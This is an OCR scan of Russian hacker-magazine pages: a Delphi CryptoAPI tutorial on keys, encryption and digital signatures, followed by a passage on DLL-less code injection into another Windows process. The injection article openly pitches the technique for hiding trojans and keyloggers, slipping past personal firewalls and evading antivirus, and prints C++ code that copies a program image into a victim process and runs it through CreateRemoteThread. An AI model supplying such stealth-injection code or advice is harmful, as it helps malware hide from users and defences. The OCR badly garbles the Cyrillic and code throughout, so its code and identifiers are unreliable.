СВѴРТОПРІ ДПЯ ДОИПШИЕГО ППРПНШІІ ^ 



о идее разработчиков, он дол- 
жен основательно «снизить 
уровень сложности разработки 
приложений, так или иначе ка- 
сающихся информационной 
безопасности». 

На самом деле этот АРІ дает 
возможность реализовать 
большинство процессов, используемых для 
защиты информации. Это, разумеется, гене- 
рация ключей и шифрование/расшифровка 
кучей алгоритмов, создание/проверка циф- 
ровых подписей, генерация хэшей, сертифи- 
катов безопасности. Шифроваться могут не 
только сообщения, но и некоторые програм- 
мные значения (например пароли, хранящи- 
еся в памяти, и пр.). В статье будут приве- 
дены прототипы функций, взятые из хитрой 
библиотечки ѵѵіпсгурі.Іі (она, между прочим, 
входит в стандартную поставку М5 ѴізиаІ 
С++ 6.0). Сейчас есть и версия библиотек 
для Оеірііі, которые мы и будем юзать. 

.ІНЕИНОГО ТЕОРИИ 

Все имена функций в СгурІоАРІ начинаются с 
префикса Сгурі Чаще всего функции возвра- 
щают результат типа ВООІЕАМ: 1 (ТВІІЕ, ис- 
тина) при успешном выполнении и 0 (РА15Е, 
ложь) - при ошибке. В качестве параметров 
обычно используется значение дескриптора 
криптопроцесса. Его можно найти через 
СгурШеѵісеКеу(). 

В рамках проекта введено понятие «крип- 
топровайдер» (С5Р). Это самостоятельный мо- 
дуль, в библиотеку которого включены основ- 
ные функции шифрования в систематизирован- 
ном виде. С8Р играет роль ключника для лю- 
бого типа шифрования. Кроме того, с его по- 
мощью реализуется интерфейс алгоритма. Гру- 
бо говоря, С5Р - некая программа, выполняю- 
щая всю рутинную работу шифрования с теми 



параметрами, которые были заданы пользова- 
телем при помощи СгурІоАРІ . Визуально крип- 
топровайдер - это ОИ'ка. Но не простая, а хит- 
рым образом подписанная, что исключает воз- 
можность подмены С5Р злоумышленником. В 
05 ѴѴіпсІоѵѵз Майкрософт включила провайдера 
В5А. Сигнатуры и названия основных криптоп- 
ровайдеров вынесены во врезку. По умолчанию 
они также включены в систему. 

Все ключи хранятся в отдельной базе дан- 
ных, единственной для каждого юзера. По- 
добные базы вшиваются в ось, благодаря 
чему злоумышленник не сможет втихаря утя- 
нуть базу секретных ключей или какой-ни- 
будь пароль. Это, несомненно, лучше, чем 
реализовывать криптопроги самостоятельно 
(для тех, кто с этим не согласен, у нас есть 
пара статей из предыдущих «Хакеров»). 

Прежде всего, перед началом работы не- 
обходимо инициализироваться. Это просто - 
всего лишь надо заюзать функцию 
СгурІАсдиігеСопіехі. Она имеет ряд парамет- 
ров: имя контейнера для ключей, наимено- 
вание С8Р, его тип и флаги, позволяющие 
управлять таким контейнером. 

Для того чтобы подключить тот или иной 
криптопровайдер, необходимо получить его 
содержание. То есть мы должны проверить, 
что лежит в С8Р, и автоматом присобачить 
его к проекту. 

СгѵрІАсдиігеСопІехІ(ИСгурІРгоѵіс 1 ег, рзгС 
опІаіпег,р82РгоѵісІег, сІѵѵРгоѵТуре, сІѵѵРІадз) 
ИСгурІРгоѵісІег - дескриптор провайде- 
ра, оиі-параметр. Если ему присвоить значе- 
ние піі, то по умолчанию будет использо- 
ваться С8Р (тип - НСВУРТРВОѴ). Где их ис- 
кать, я говорил выше. 
рзгСопІаіпег - имя контейнера ключей. 
рзгРгоѵісІег - имя провайдера. 
сІѵѵРгоѵТуре - тип провайдера. 
сІѵѵРІадз - флаги. 




Кстати, значения типа провайдера и имени 
провайдера берутся именно из этой функции. 
С ее помощью можно поработать и с контей- 
нерами ключей. Параметру сІѵѵРІадз необхо- 
димо присвоить значение СВУРТ МЕѴѴКЕѴ8ЕТ 
для создания нового ключника, 

СВУРТ 0Е1ЕТЕКЕУ5ЕТ - для удаления оного 
и СВУРТ ѴЕВІРУСОМТЕХГ, если надо только 
проверить существование контейнера. 

Кстати, ключники бывают двух типов: 
пользовательские и машинные. Пользова- 
тельский содержит ключи определенного 
пользователя, и доступ к нему можно полу- 
чить только от его имени. А вот машинные 
контейнеры - секретные. В них содержатся 
ключи, принадлежащие программам и про- 
цессам. Вообще, СгурІоАРІ - элемент оси, 
позволяющий выполнять криптоработу, не- 
обходимую для функционирования самой 
операционки. Майкрософт - все-таки не 
очень жадная фирма. Она предоставила де- 
велоперам возможность использовать крип- 
тофункции в своих приложениях. Но если 
мы инициализировали С8Р, то, бесспорно, 
надо будет его потом и отключить. Это лег- 
ко реализуется при помощи функции 
СгуріВеІеазеСопіехіО. Ее необходимо вызы- 
вать с заголовком криптопроцесса и флага- 
ми (в общем, все как обычно). 

золотой кпючик 

в СгурІоАРІ можно сгенерировать ключи 
для любого используемого алгоритма. Если 
нужен случайный ключ - используем функ- 
цию СгуріСепКеу(). Если ты эстет и ключ 
должен быть с некоторыми правилами - 
пожалуйста: функция СгуріОегіѵеКеуО при- 
дет тебе на помощь! Она удобна в том слу- 
чае, когда есть желание передать лишь 
ключевую фразу, а получатель этой функ- 
цией сгенерирует конечный ключ. 
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А вот это мы должны получить в конечном итоге... 



СгурЮепКеу(ИРгоѵ, АІдісІ, сІѵѵРІадз, рИКеу) 

ИРгоѵ - дескриптор криптографического процесса. 

АІдШ - уникальный идентификатор алгоритма. Если мы создаем ключ 
для шифрования - присваиваем значение АТ КЕѴЕХСНАМСЕ, а если соз- 
даем для подписи - АТ 5ЮМАТІІВЕ. 

сІѵѵРІадз - флаги, свои для каждого алгоритма, который может быть 
нулем, а может содержать несколько флагов (для объединения использу- 
ются операторы ОВ и АМО). 

Возможные значения: 

СВУРТ_АВСНІѴАВІЕ - ключ может быть экспортирован, пока его не 
уничтожат функцией СгурШезігоуКеуО. Обычно используется для обеспе- 
чения возможности восстановления ключей, а также для архивации базы. 

СВУРТ_СВЕАТЕ_8А1Т - при этом флаге ключу будет автоматически 
присвоено случайное значение. 

СВУРТ_ЕХРОВТАВ1Е - ключ может быть экспортирован из С8Р при по- 
мощи функции СгуріЕхрогІКеу. Чаще всего этот флаг включают. Если его не 
включать, то ключ будет сеансовым, то есть использовал один раз и выкинул. 
Причем использовал только ты (или твое приложение), а не кто-то другой. 

СВУРТ_118ЕВ_РВ0ТЕСТЕ0 - при установленном флаге пользователь 
будет уведомлен, если его ключ начнет юзать кто-то другой. 

рІіКеу - заголовок секретного ключа. Если все проходит гладко, в него 
записывается сгенерированный ключ. 



Мутим ключи 



ргосесіиге Рогт1.Ып0кСІіск(Зеп(]ег: Т0Ь]есі); 
ѵагііНа$ііОаіа: НШРТНАЗН; 

Ьедіп 

і! по! СгуріСгеаіеНа$іі(МаіпРогт.[іРгоѵ, СА16.3НА, О, О, @ііНа$ііОаіа) іііеп {ошибки} 

(сначала попытаемся создать хэш} 

і! по! СгуріНа$ііОаіа([іНа$[іОаіа, @Ра$$ѵѵЕбіі.іехі[1], Іепд|[і(Ра$$ѵѵЕ(]іі.іехі), 0) іііеп {ошибки} 

{если нам это удалось, представим наши данные в виде хэша и запихнем его ниже...} 
іі по! СгурШегіѵеКеуіМаіпРогт.ііРгоѵ, САЕ6.РС4, ІіНазІіОаіа, 0, @Рогт1.[іКеу) іііеп 
{...в функцию, которая и замутит нам ключ. В случае если хоть одна функция вернет Раі$е, будем ис- 
кать ошибки}. 

іі поі СгуріОе$ігоуНа$іі(ііНа$іі) іііеп {ошибки} 

{теперь можно и убить хэш} 

{дальше можно вызывать функции шифрования} 



Хакер Спец 12(49) 
УЖЕ В ПРОДАЖЕ 




ИДЕАЛЬНЫЙ I 
КОМПЬЮТЕР 



Реально ли 
собрать комльютер 

дпя себя? 

• Идеальный РС для: 

- хакера 

- программиста 

- геймера 

- дизайнера 



В программе для создания ключей есть специальная форма (см. 
скриншот). Как обычно, я не стал включать сюда обработку ошибок - 
думаю, с этим ты справишься без меня. 

Да, чуть не забыл! Содержимое текущего криптопровайдера контролиру- 
ется при помощи СгурЮе{РгоѵРагат(ііРгоѵ, ІіРагат, ііТехі, п8ііе, сІѵѵРІадз). 
Варианты значений бРагат: 

РР ЕМиМАІСІЗ - алгоритмы, которые могут быть использованы, 

РР ѴЕВ5ІОМ - возврат версии провайдера, 
ііРгоѵ - имя криптопровайдера, 

ІіРагат - параметры вызова функции, 

ііТехі - данные, которые необходимо обработать, 

пЗііе - их размер, 

СІѵѵРІадз - флаги. 



УйѵтІ 






Пароль: 

[ ^ 

И еще разок 
[і:Ра55ѵѵАдаіп 



ЫіпОк 



Ключики-ключики, где вы? 



• Мнения специалистов 

• А также идеальный 
мобильный ЛК, КПК и 
сервер! 



Новогодний номер: 
бонусы и подарки! 








ОФОРИИ свою ПОДПИСКУ 




А На компакте ты 
можешь найти ис- 
ходник маленькой 
проги, демонстри- 
рующей возмож- 
ности СгурІоАРІ. 
Кроме того, там же 
лежит исходник 
порта ѴѴіпСгурІ.И 
для Дельфей. 




А Если твой диск 
сперли/погрызли 
мыши/не продали 
и Т.Д., то исходник 
примера проги 
можно утянуть с 
ѵѵѵѵѵѵ.хакер.ги в X- 
релизах или по ад- 
ресу ІШрі/ДікИопоП. 
зЬп.Ьг/геІеазез/сарі. 
2ір. 

А по адресу 
Нр://(1еІрИі- 
Іе(1і.огд/арі/Сгур(оА 
РІ2.2ІР ты можешь 
выловить исходни- 
ки порта хитрой 
библиотечки, ис- 
пользованной в 
статье. 
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А МФРОВІІІІІЕ ■ ПЕМФРОІКІІ 

Итак, ключ мы получили. Теперь с его по- 
мощью можно зашифровать некоторый 
текст. В СгуріоАРІ поддерживаются два ме- 
тода шифрования: симметричный и асим- 
метричный. Симметричные алгоритмы, нес- 
мотря на свою относительную нестойкость, 
шустрее своих асимметричных собратьев, 
поэтому, как вариант, можно использовать 
комбинированные методы: сам текст шифру- 
ется при помощи секретного ключа симмет- 
рично, а ключ, в свою очередь, шифруется 
асимметрично открытым ключом получателя. 
Любой алгоритм вызывается функцией 
СгурШпсгуріО для шифрования и 
СгурШесгуріО для дешифровки соответ- 
ственно. Для шифрования необходимо выде- 
лить буфер некоторой длины, чтобы помес- 
тить в него зашифрованные файлы. 

Подготовочный код достаточно велик, поэто- 
му я приводить его не буду - все есть на диске. 



СгуріЕпсгурі & СгуріРесгурі 



СгуріЕпсгурКІіКеу, ііНа$іі, РіпаІ, (1ѵѵРІад$, @рЬ0аіа, 
@р(1ѵѵ0аіаРеп, (ІѵѵВиРРеп) 

ІіКеу - дескриптор ключа для шифрования, 

ІіНа$[і - отвечает за возможность хэширования шифротекста, 
РіпаІ - показывает, последний ли это блок, 

(ІѵѵРІадз - флаги, свои для каждого алгоритма, 

@рЬ0аіа - указатель на адрес буфера, 

@рбѵѵОаіаРеп - размер шифруемой информации (длина шиф- 
руемого блока), 
бѵѵВиРРеп - длина данных. 

СгурШесгурКііКеу, ііНазІі, РіпаІ, бѵѵРІадз, @рЬ0аіа, 
@рбѵѵОаіаРеп) 

ІіКеу - дескриптор ключа для шифрования, 

ІіНазІі - отвечает за возможность хэширования шифротекста, 
РіпаІ - показывает, последний ли это блок, 
бѵѵРІадз - флаги, свои для каждого алгоритма, 

@рЬ0аіа - указатель на адрес буфера, 

@рбѵѵОаіаРеп - размер шифруемой информации (длина 
шифруемого блока). 



.ІТРРНСПОРТИРОВКР КЛЮЧЕЙ 

Ключ сгенерирован, сообщение зашифро- 
вано и передано. А как добыть ключи для де- 
шифровки? Да в три -пятнадцать! Существует 
еще одна хитрая функция - Сгур1Ехроі1Кеу(). 
Она вытягивает необходимый ключ, если на- 
до - шифрует его. Как и в случае с алгорит- 
мом, отработанный ключ необходимо уда- 
лить функцией СгурШезігоуКеуО. 

Импортируются ключи функцией 
СгуріІтроі1Кеу(). 

Посмотрим на эту злобную функцию: 

СгурІЕхроі1Кеу(ИКеу, ИЕхрКеу, 
сІѵѵВІоЬТуре, сІѵѵРІадз, @рЬОаІа, 
@рс1ѵѵОаІаІеп) 

бКеу - дескриптор экспортного ключа, 

бЕхрКеу - дескриптор ключа, которым 
шифруется экспортный ключ, 

бѵѵВІоЬТуре - тип структуры экспортного 
ключа (открытый - РІІВиСКЕѴВШВ, закры- 



X 



А$$ідпРіІе(РРіІеІприі, $РіIеNал 1 е): 

{выделим имя криптоконтейнера и подсоединимся к нему} 
епб; 

СгуріСгеаіеНа$Іі(ІіСгуріоРгоѵібег, САР6.М05, 0, 0, @І 1 На$І 1 Nал 1 е): 
{$РіIеNап 1 е - строка, взятая из ЗаѵеОіаІод} 

Ьедіп 

А$$ідпРіІе({РіІеОиіриі, $РіIеNал 1 е): 
геѵѵгііе({РіІеОиіриі, 1); 

(записываем в файл идентификатор алгоритма хэширования} 

ВІоскМе((РіІеОиіриі, САР6.М05, 4); 

ге$еі((РіІеІприі, 1); 

би/ЗІ7еѴоІ := РіІеЗІ7е({РіІеІприі); 

(записываем размер подписываемых данных} 
ВІоскѴ/гііе((РіІеОиіриі, бѵѵЗІ7еѴоІ, 4); 

(пишем сами данные и вычисляем хэш} 

ѵѵііііе по! ео(((РіІеІприі) бо 

Ьедіп 

ВІоскКеаб((РіІеІприі, Ьи(, 512, бѵѵ$І7еѴоІ); 



X 



ВІоскЩгііе((РіІеОиіриі, Ьи(, бѵѵЗІ7еѴоІ); 
СгуріНа$ЬОаіа(ЬНа$ЬМапіе, @Ьи(, бѵѵ$І7еѴоІ, 0): 
епб; 

СІо$еРіІе((РіІеІприі): 

(выясняем размер подписи} 

Сгурі$ідпНа$Ь(ЬНа$ЬМапіе, АПІбМАТУРЕ, піі. О, піі, @бѵѵ$І7еѴоІ): 
(создаем подпись} 

6еіМепі($ідпа(иге, бѵѵЗі7еѴоІ): 

СгуріЗідпНа$Ь(ЬНа$ЬМапіе, АТ_5І6МАТ11РЕ, піі. О, зідпаіиге, 
@бѵѵЗІ7еѴоІ): 

ВІоскШгііе((РіІеОиіриі, бѵѵЗІ7еѴоІ, 4); 

ВІоскШгііе((РіІеОиіриі, $ідпаіиге^ бѵѵ5І7еѴоІ); 

СІо$еРіІе((РіІеОиіриі): 

епб; 

(уничтожаем хэш} 
епб: 



Теперь с помощью полученного ключа 
можно зашифровать некоторый текст. 



тый - РВІѴАТЕКЕѴВШВ, разовый - 5ІМРІЕ- 
ВЮВ), 

@рЬОа(а - указатель на адрес буфера под 
структуру шифруемого ключа (можно опре- 
делить размер буфера, присвоив ей значе- 
ние 0. Размер присвоится в рсІѵѵОаіаІеп.), 

@рсІѵѵОа(аІеп - размер шифруемой ин- 
формации (структуры шифруемого ключа) 
для буфера. 

А ЭЛЕКТРОННО-ЦИФРОВЛЯ 

подпись 

Да, и подписи генерить нам тоже по опреде- 
лению можно. Для этого из открытого текста 
получим хэш, который зашифруем секрет- 
ным ключом отправителя, затем представим 
все это в виде булева вектора - вот тебе и 
цифровая подпись! 

Общая последовательность этих шаманс- 
ких действий будет следующей: 

О. создаем хэш -контейнер 
(СгурЮгеаіеНазб); 

Ѳ. помещаем в него данные 
(СгурШазбОаіа); 

Ѳ. подписываем хэш (Сгур(ЗідпНазІі); 

О. уничтожаем хэш-контейнер 
(СгурШез(гоуНазІі). 

Значение хэша можно получить функцией 
СгурЮеШазбРагатО. 

Работать с ключами для ЦП так же прос- 
то, как и с шифроключами, но вызывать 
СгурЮепКеу надо вот так: 
СгурЮепКеу(ІіСгурІРгоѵ,АТ5іеМАТиВЕ,СВУР 
Т_ЕХРОВТАВІЕ,@ІіКеу), где АТ_8ЮМАТиВЕ - 
ключ подписи. 

Для иллюстрации в нашем примере я соз- 
дал форму с одним 8аѵе0іаІод (в исходнике 
он примерно так и именуется) и нанес ком- 
поненты, которые указаны на картинке. 

Разберемся с функцией СгурЮгеаіеНазб: 

СгурЮгеаІеНа8И(ИРгоѵ, АІдісІ, ИКеу, 
сІѵѵРІадз, ©рИНазИ) 



бРгоѵ - дескриптор криптографического 
процесса, 

АІдісІ - идентификатор хэш-функции, 
бКеу - ключ, используемый при генерации 
хэш-значения, 
бѵѵРІадз - флаги, 

@рбНазІі - указатель на переменную, 
в которой будет лежать наш хэш. 

СгурШа8И0аІа(ИНа8И, @рЬОаІа, 
сІѵѵОаІаІеп, сІѵѵРІадз) 
бНазб - дескриптор удаляемого хэша, 
@рЬОа(а - указатель на входной текст, 
@рсІѵѵОа(аІеп - длина хэша, 
бѵѵПадз - флаги. 
СгурШе8ІгоуНа8И(ИНа8И) 
бНазб - дескриптор удаляемого хэша. 
СгурЮеШа8ИРагат(ИНа8И, сІѵѵРагаш, 
@рЬОаІа,@рс1ѵѵОаІаІеп, сІѵѵРІадз) 
бНазб - дескриптор необходимого хэша, 
@рЬОа(а - указатель на входной текст, 
@рсІѵѵОа(аІеп - длина хэша, 
бѵѵПадз - флаги. 

А теперь - самое интересное, а именно 
создание подписи. Надеюсь, функции Ыоск- 
геасІ/Ыоскѵѵгі(е объяснять не надо, поскольку 
о работе с файлами мы неоднократно рас- 
сказывали, поэтому комментарии я сосредо- 
точу на нашей сегодняшней теме. 

Вот, в принципе, и все. Естественно, в 
статье нельзя разобрать все функции, од- 
нако для создания небольшого криптопро- 
екта информации этой статьи вполне дос- 
таточно. Нет, мы не призываем тебя клони- 
ровать существующие проги-шифровщики 
за счет мегакорпорации! Мы просто хотим 
сказать, что почти для любой софтинки, на- 
чиная от текстового редактора и кончая 
тетрисом, такие функции будут нелишни- 
ми. Текстовому редактору - чтобы шифро- 
вать важные письма, а тетрису - чтобы ре- 
зультат не подделывали :). ЗС 





ТПВАРЬІ 




ЭКСКЛЮЗИВНАЯ КОЛЛЕКЦИЯ 
ОДЕЖДЫ И АКСЕССУАРОВ ОТ ЖУРНАЛОВ 

ХАКЕР И ХУЛИГАН 



* Футболки, 
толстовки, 
куртки, 
бейсболки. 



* Кружки, 
зажигалки, 
брелки, 



* Часы 
и многое 
другое 





® Тел.: (095) 928-0360 
(095) 928-6089 
(095) 928-3574 

^іАгш.дашерозІ.ги 





ИНЖЕКТИРОВПНИЕ В ЧУЖВЙ ПРВЦЕСС - ЭТВ ПРВСТВ 



иире №п(1он 8 есть такие технопогии, изучением которых не пренебрег ни один бопее ипи иенее продвинутый хакер. Технопотии, открыва- 
ющие новые горизонты при написании непростото софта. Изучение многих из них позвоппет совсем по-другому взгплнуть на системное 
протраииирование в кишащей багами оси. Одной из таких технопогий авплетсн исполнение своето хода в контексте чужото процесса. 




В ѴѴіпсІоѵѵз, как ты знаешь, для 
каждого процесса создается 
уникальное виртуальное ад- 
ресное пространство, за пре- 
делы которого процесс са- 
мостоятельно, без помощи 
ядра выбраться не может. 

Суть технологии Ргосезз 
Іпіесііоп (реже - ргосезз іпМоп) заключа- 
ется как раз в том, чтобы заставить процесс 
вылезти за рамки своего адресного прост- 
ранства, и не просто вылезти, а совсем и 
навсегда. «За рамки» тут означает - в дру- 
гой процесс, который обладает некоторыми 
полезными для твоего кода характеристика- 
ми, будь то просто постоянное нахождение 
в памяти или присутствие в списках дове- 
ренных приложений. 

Выполняя свой код в контексте чужого 
процесса, ты получаешь полный доступ ко 
всему адресному пространству побежденно- 
го приложения, а это дает огромный простор 
для действий. Например, находясь в чужом 
процессе, ты без проблем можешь немного 
подкорректировать таблицу импорта (пред- 
варительно разобравшись в структуре РЕ-за- 
головка), после чего процесс-жертва вместо 
использования какого-нибудь АРІ будет 
юзать твои функции, ничего об этом не по- 



дозревая. Все технологии перехвата АРІ кос- 
венно основаны на инжектировании. А пе- 
рехват - технология совершенно незамени- 
мая, без нее не может обойтись ни одно бо- 
лее или менее хитрое приложение. 

Давай подумаем, отбросив всякие крутые 
программистские предназначения, для чего 
простому (хорошо, не совсем простому) ха- 
керу может пригодиться Ргосезз Іпіесііоп. Во- 
первых, с помощью инжекта можно сделать 
процесс твоей программы (трояна, кейлогге- 
ра еіс.) невидимым в списке процессов. 
Причем не с помощью перехвата функции 
МЮиегуЗузіетІп^огтаііоп, используемой в 



Ргосезз Мападег’е, - этот способ далек от со- 
вершенства, реализация ядерной функции 
все время меняется, поэтому для обеспече- 
ния совместимости для каждой версии (если 
не билда) винды нужно делать отдельную 
функцию-перехватчик, - а с помощью полно- 
го перемещения кода своего процесса в ад- 
ресное пространство другого, который висит 
уже долго и умирать, видимо, не собирается. 

Во-вторых, можно скопировать свой код в 
процесс, который сидит в списке доверенных 
приложений персонального файрвола, что 
позволит беспрепятственно общаться с ине- 
том, не вызывая никаких подозрений ни у 

файра, ни у пользователя. 

В-третьих, находясь в 
чужом процессе, прог- 
рамма не использует ЕХЕ- 
файл, из которого была 
запущена в начале, а зна- 
чит, она может его: 

а) модифицировать - 
применить патч, скачанный 
из инета, или просто поли- 
морфизовать, дабы анти- 
вирусами не определялся; 

б) стереть - нет файла, 
нет и вторжения. 
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Книгу Ри)аера ты можешь достать в электронном виде 



Естественно, перед выключением компа его 
следует восстановить; 

в) сменить дислокацию - никто не поме- 
шает от запуска к запуску менять имя файла. 

И это только маленькая часть всех воз- 
можностей, открывающихся перед взломщи- 
ком, изучившим такую невероятно полезную 
технологию, как Ргосезз Іпіесііоп. О возмож- 
ностях перехвата я вообще молчу - это тема 
не для одной статьи. 

^ СПОСОБЫ ИНЖЕКТИРОВРНИЯ 

Реализовать выполнение собственного кода 
в контексте чужого процесса можно кучей 
разных способов. Небезызвестный програм- 
мист, редактор МісгозоЙ Ргезз и просто хо- 
роший человек Джеффри Рихтер, например, 
предлагает выполнять свой код из подгружа- 
емой к процессу динамической библиотеки. 
Для осуществления этого способа весь ин- 
жектируемый код вшивается в ОН и запус- 




кается из ее ЕпігуРоіпі, после чего эта биб- 
лиотека некоторым образом подгружается к 
чужому процессу. Рихтер в своей книге 
«Ргодгаттіпд Арріісаііопз ^ог ѴѴіпсІоѵѵз» опи- 
сывает множество разнообразных методов 
внедрения ОН. Самыми популярными из них 
являются использование недокументирован- 
ных ключей реестра для подгрузки своих 
библиотек к системным процессам, исполь- 
зование ловушек и удаленных потоков. 

Для установки ловушки в ѴѴіпсІоѵѵз исполь- 
зуется функция АРІ ЗеШпсІоѵѵзНоокЕх, од- 
ним из параметров которой является иден- 
тификатор динамической библиотеки, со- 
держащей функцию-обработчик хука. В ре- 
зультате установки эта ОН подгружается ко 
всем охватываемым ловушкой процессам. 
Это не лучший способ инжектирования, так 
как внедряемый код будет запускаться в кон- 
тексте нескольких процессов одновременно 
- это приводит к багам. Обход же этой фичи 
заставит кодера написать еще не один деся- 
ток строк программы. 

Способ с реестром заключается в том, что 
если прописать в определенном ключе 
( Н КІМ\5оЙѵѵаге\М ісгозоЙ\ѴѴі псіоѵѵз 
МТ\СиггепіѴег5Іоп\ѴѴіпсІоѵѵ5\АррІпіі_01І8) путь 
к внедряемой ОН, то она будет загружаться 
ко всякому процессу, использующему 
и8ег32.с111. Недостатков масса - туг и лег- 
кость обнаружения инжектирования, и огра- 
ничение на выбор процессов. В общем, спо- 
соб не катит. 

Самой интересной идеей из предложен- 
ных Рихтером оказалось использование уда- 
ленных потоков. Способ позволял внедрять 
ОН в определенный тобой процесс, факти- 
чески не напрягаясь. Основан он на функции 
СгеаіеВетоіеТІігеасІ, которая создает нить в 
заданном процессе из заданной функции. 
Рихтер, не долго думая, впихнул в парамет- 
ры адрес функции ІоасіиЬгагуА и адрес ско- 
пированной в пространство процесса-жерт- 
вы строки с путем к библиотеке, что заста- 
вило процесс подгрузить библиотеку безо 
всяческих претензий с его стороны. Способ 
был бы просто идеален, если бы не необхо- 
димость использования динамических биб- 
лиотек. Ведь это и лишние килобайты для 
трояна, и геморрой при написании. 

Именно поэтому я и хочу предложить тебе 
уже не новый, но невероятно удобный метод 
безбиблиотечного инжектирования 
собственного кода в чужой процесс. 
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^ основная ФУНКЦИЯ прогрпииы 



ВООІ V/INАРI 6::5еШеаІііі(0Ѵ/0Р0 (ѴѴШАРІ 1ипс)(ІРѴ0І0), ІРТЗТР 82 Ргосе$з) { 
ОШКО р_і(] = N011: 

НМ0001Ед_то(1иІе = 6еШо(]иІеНап(]Іе(Н0Щ: 

ІЕ ((р_і(1 = 6::6еіРІ0ЬуНате(82Ргосе88)) == N011) 
геіигп РА15Е; 

НАN^^Е р.ііапОІе = 0репРгосе88(РК0СЕЗ$_АЕЕ_АССЕ$$, ЕАЕ$Е, р_і(1): 
іЕ(рЫІе ==N011) геіигп РАЕ$Е; 

ѴігіиаІРгееЕх(р_ііап(]Іе, д.шоОиІе, О, МЕМ_РЕЕЕА5Е); 

ОШКО ( 1 ѵѵ$І 2 е = ((РIМА6Е_0РТI0NА^_НЕА^ЕЮ((^РV0I^)((ВУТЕ *)(д_то(]иІе) - 
((РІМА6Е_008_НЕА0ЕЮ(д_піо(]иІе))->е_Ііапеѵѵ + 8І2еоі(0ѴѴ0Р0) + 
8І2еоі(ІМА6Е_РІЕЕ_НЕАВЕЮ)))->ЗІ2е0іІтаде: 

сііаг *рМет = (сііаг *)ѴігіиаІАІІосЕх(р_Ііап(]Іе, д.шосіиіе, (1ѵѵ5і2е, 
МЕМ_С0ММІТ|МЕМ_КЕ8ЕКѴЕ, РА6Е_ЕХЕС0ТЕ_РЕА0ШІТЕ): 
ііІрМет == N011) геіигп ЕАЕЗЕ; 

ОШОКО сІѵѵОИРгоі, (]|ЛINип 1 Вуіе 8 , і; 

МЕМОКУ.ВА$IС^NРОКМАТIОN шЫ; 



ѴігіиаІОиегуЕх(р_Ііап(]Іе, рМеш, &шЬі, 8І2еоі(МЕМ0КУ_ВАЗIС^NР0КМАТI0N)): 
йііе ([пЬі.Ргоіесі!=РА6Е_N0АССЕ35 && тЬі.Редіоп5І2е!=0) { 
іі(!(тЬі.Ргоіесі&РА6Е_60АКВ)){ 
іог (і = 0; і < тЬі.РедіопЗІ 2 е; і += 0x1000) { 

ѴігіиаІРгоіесіЕх(р_Ііап(]Іе, рМеш + і, 0x1000, 

РА6Е_ЕХЕС0ТЕ_КЕА0ШК1ТЕ, УѵѵОИРгоІ); 

ЩгііеРгосе88Метогу(р_[іап(]Іе, рМеш + і, рМеш + і, 0x1000, &(1ѵѵNип1Вуіе8): 

} 

} 

рМеш += шЬі.КедіопЗіхе; 

ѴігіиаІОиегуЕх(р_ііапОІе, рМеш, &піЬі, 8І2еоі(МЕМ0КУ_ВА31С^NР0РМАТ10N)): 

} 



ОШРО (ІѵѵРшіТІкІІО: 

іуреОеі НАN^^Е (ѴѴШАР1 ЧгеаіеРТіуре)(НАN^^Е,^Р$ЕС0К1ТУ_АТТК1В0ТЕ$, 
$12Е_Т,^РТНКЕА^_ЗТАКТ_К00Т1NЕ,^РV01^,^ШК^,^Р^ШК^): 
_СгеаіеРТіуре _СгеаіеРТ = (_СгеаіеРТіуре) 6еіРгосА(1(1ге88( 
6еіМо(1иІеНап(1Іе(''кегпеІ32.(1ІІ"),"СгеаіеРе[поіеТ[ігеаО"): 

НАN^^Е ііРшіТікІ = _СгеаіеКТ(р_ііап(1Іе, N011, 0, іипс, 
аРѴ010)д_то(1иІе,0,&(1ѵѵКпііТ1і(110): 
ііІІіРшіТікІ == N011) геіигп ЕАЕ5Е; 



СІ08еНап(1Іе(р_1іап(1Іе): 
геіигп ТРОЕ; 




.ІСКРЖИ«НЕТ»аИНРИИЧЕСКИИ 

БИБРИОТЕКРИІ 

Метод исполнения кода в чужом процессе 
без использования ОН, о котором я пове- 
даю ниже, судя по всему, впервые был ис- 
пользован замечательной группой Сиіі о^ 
Ше ОеасІ Соѵѵ в их шедевре В02к. С перво- 
го взгляда на него я понял - в этих строках 
есть Дао. Метод понятен, легок в реализа- 
ции и просто красив. Я был очарован им, 
надеюсь, на тебя он тоже произведет впе- 
чатление. 

Основан он целиком и полностью на ис- 
пользовании функции копирования памяти в 
чужое адресное пространство 
(ѴѴгііеРгосеззМетогу) и заключается в следу- 
ющем. В пространстве требуемого процесса 
выделяется памяти ровно столько, сколько 
занимает образ программы с инжектируе- 
мым кодом. Причем память выделяется по 
тому же линейному адресу, что находится 




А Описания всех 
используемых в 
программе АРІ- 
функций ты мо- 
жешь найти у себя 
на диске с М80М 
или на сайте 
тзбп.тісгозоП.сот. 




А Категорически 
советую тебе про- 
честь книгу Рихте- 
ра. Без нее сис- 
темному програм- 
меру под ѵѵіп32 жи- 
вется очень тухло. 



наша программа, только в другом простран- 
стве. Затем программа аккуратно, байт за 
байтом, включая РЕ- заголовок, глобальные 
переменные и прочий стафф, копируется в 
выделенный участок. Запустить внедренный 
код после этого можно обыкновенным соз- 
данием нити в удаленном процессе. 

Ах, какие красота и удобство кроются в 
таком простом решении! (Да, Горл - насто- 
ящий гик. Половина его восхищений и весь 
мат были вырезаны :). - Прим. Ог.) 
Поскольку копирование образа происходи- 
ло по тому же адресу, что он был загружен, 
доступ ко ВСЕМ глобальным переменным в 
инжектируемом коде сохранится! Все адре- 
са АП И по-прежнему будут сидеть в табли- 
це импорта (только скопированной в дру- 
гое адресное пространство), поэтому их не 
придется вручную искать и передавать че- 
рез параметры создаваемой нити. Но глав- 
ное, не будут использоваться никакие ОН! 
Вся разработка программы, внедряющей 
свой код в чужой процесс, будет происхо- 
дить в одном проекте. Словом, способ 
классный. Конечно, в его реализации есть 
масса маленьких хитростей, но о них мы 
поговорим ниже, сейчас пока можно просто 
немного похвалить ребят из «Культа Мерт- 
вой Коровы». 

^ИРСТЕРИИ КЛИЗМУ 

Для того чтобы иметь доступ к памяти чужо- 
го процесса, его требуется открыть. Делает- 
ся это с помощью функции ОрепРгосезз, в 
параметрах которой передаются уровень по- 
лучаемого доступа (у нас - 
РВОСЕ88_А11_АССЕ88) и Ю процесса, кото- 
рый мы хотим изнасиловать. Идентификатор 
этот можно получить как из Ргосезз 
Мападег’а, так и программно. Я выбрал вто- 
рой способ и с помощью специально соб- 
ранной мной функции, работающей с 
ТооІНеІр АРІ, получил Ю по имени процесса 
(на диске в файле гаГіі ты найдешь сорец 
этой функции). 

Обладая хэндлом открытого процесса, 
мы можем делать с ним все, что заблаго- 
рассудится, например, можем выделить в 
нем память для копирования в нее образа 
